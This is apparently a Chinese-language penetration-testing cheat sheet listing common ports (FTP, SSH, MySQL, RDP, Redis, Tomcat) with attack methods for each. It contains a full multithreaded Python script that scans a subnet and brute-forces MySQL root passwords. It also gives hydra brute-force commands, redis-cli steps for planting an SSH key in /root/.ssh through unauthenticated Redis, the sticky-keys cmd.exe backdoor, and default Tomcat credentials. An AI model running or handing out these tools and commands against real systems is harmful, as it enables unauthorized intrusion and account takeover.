常用端口入侵与协议
Table of Contents
OSI七层模型各层代表协议
- 应用层:FTP、DNS、Telnet、SMTP、HTTP、WWW、NFS
- 表示层:JPEG、MPEG、ASII、MP4
- 会话层:NFS、SQL、NETBIOS、RPC
- 传输层:TCP、UDP、SPX
- 网络层:IP、ICMP、ARP、RARP、OSPF、IPX、RIP、IGRP
- 数据链路:PPP、FR、HDLC、VLAN、MAC
- 物理层:RJ45、CLOCK、IEEE802.3
端口
端口是设备与外界通讯交流的出口。端口是通过端口号来标记的,端口号只有整数,范围是从0 到65535。
端口渗透过程中我们需要关注几个问题:
1、 端口的banner信息
2、 端口上运行的服务
3、 常见应用的默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
针对不同的端口进行不同的安全测试,本文的主要内容是关于常见端口安全隐患以及测试方法。
常见漏洞类型:
21.FTP (21)
测试内容
爆破:工具hydra,msf…
匿名访问:用户名:anonymous 密码:为空
弱口令:字典
22.SSH (22)
SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议
测试内容
暴力破解,弱口令
相关工具:hydra,msf等
23.Telnet (23)
测试内容
嗅探:此种情况一般发生在局域网;
暴力破解帐号密码,弱口令,空口令
53.DNS(53)
80.HTTP/HTTPS (80,443)
超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。Web应用程序安全测试,可以参照:web应用测试案例
443端口作为默认https服务端口,较常见的漏洞危害大的就是心脏出血。
1433.MSSQL(1433)
MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台。
测试内容
暴力破解
工具:hydra
1521.Oracle (1521)
Oracle是甲骨文公司的一款关系数据库管理系统。
测试内容
暴力破解
枚举数据库信息
测试工具:msf等
2375.Docker(2375)
默认端口:2375
未授权访问;
Ip:2375/version
3306.MYSQL (3306)
MySQL是一个关系型数据库管理系统。
测试内容
暴力破解
爆破工具:hydra,python,
hydra.exe -L c:\user.txt -P c:\pass.txt ip mysql
#!/usr/bin/env python
import threading
import argparse
import socket
import Queue
import netaddr
import MySQLdb
import time
import sys
class Mysqlfuzz:
def __init__(self,addr,tnum):
self.scanque = Queue.Queue()
self.tnum = tnum
self.tmpnum = tnum
self.lock = threading.Lock()
self.openlist = []
if addr.find(“-“) != -1:
for ip in netaddr.IPRange(addr.split(“-“)[0],addr.split(“-“)[1]):
self.scanque.put(ip)
else:
for ip in netaddr.IPNetwork(addr).iter_hosts():
self.scanque.put(ip)
self.qsize = self.scanque.qsize()
for i in range(tnum):
t = threading.Thread(target=self.ScanPort)
t.setDaemon(True)
t.start()
while self.tmpnum > 0:
time.sleep(1.0)
print “[*]:cracking MySQL Password …”
with open(“pass.txt”,”r”) as file:
data = file.readlines()
for ip in self.openlist:
for line in data:
self.scanque.put(line.strip())
for i in range(tnum):
t = threading.Thread(target=self.Crack,args=(ip,))
t.setDaemon(True)
t.start()
while self.scanque.qsize() > 0:
time.sleep(1.0)
def Crack(self,ip):
while self.scanque.qsize() > 0:
try:
password = self.scanque.get()
conn=MySQLdb.connect(host=ip,user=’root’,passwd=password,db=’test’,port=3306,connect_timeout=4)
self.lock.acquire()
msg = “[+]:%s Username: root Password is: %s” %(ip,password)
print msg
output = open(‘good.txt’, ‘a’)
output.write(msg + “\r\n”)
self.lock.release()
break
except:
pass
def ScanPort(self):
while self.scanque.qsize() > 0:
try:
ip = self.scanque.get()
s = socket.socket()
s.settimeout(4)
s.connect((str(ip), 3306))
self.lock.acquire()
print ip,” 3306 open”
self.openlist.append(str(ip))
self.lock.release()
except:
pass
self.tmpnum -= 1
if __name__ == “__main__”:
parse = argparse.ArgumentParser(description=”mysqlfuzz”)
parse.add_argument(‘-a’,’–addr’, type=str, help=”ipaddress”)
parse.add_argument(‘-t’,’–thread’, type=int, help=”Thread Number”,default=100)
args = parse.parse_args()
if not args.addr:
parse.print_help()
sys.exit(0)
addr = args.addr
tnum = args.thread
Mysqlfuzz(addr,tnum)
python mysql.py -a 192.168.1.1/24 -t 30
3389.RDP (3389)
远程桌面协议(RDP)远程桌面登陆服务,默认Windows 3389端口。
测试内容
爆破用户密码
根据网络公开的漏洞exp进行测试如ms12-020,cve-2019-0708
相关工具:hydra,msf
hydra 192.168.1.12 rdp -L users.txt -P pass.txt -V
ms12-020:
cve-2019-0708:
5次shift键:把shift.exe 替换成 cmd.exe
6379Redis(6379)
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
工具:
https://github.com/caoxinyu/RedisClient
https://github.com/uglide/RedisDesktopManager
在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。
#ssh-keygen –t rsa
#(echo -e “\n\n”; cat id_rsa.pu; echo -e “\n\n”) > test.txt
#cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
redis-cli -h 0.0.0.0
0.0.0.0:6379> config set dir /root/.ssh/
OK
0.0.0.0:6379> config set dbfilename “test”
OK
0.0.0.0:6379> save
OK
8080.Tomcat(8080)
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager/html后台)admin/admin tomcat/tomcat admin/null
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
Tomcat官方安全公告漏洞;如:CVE-2017-12615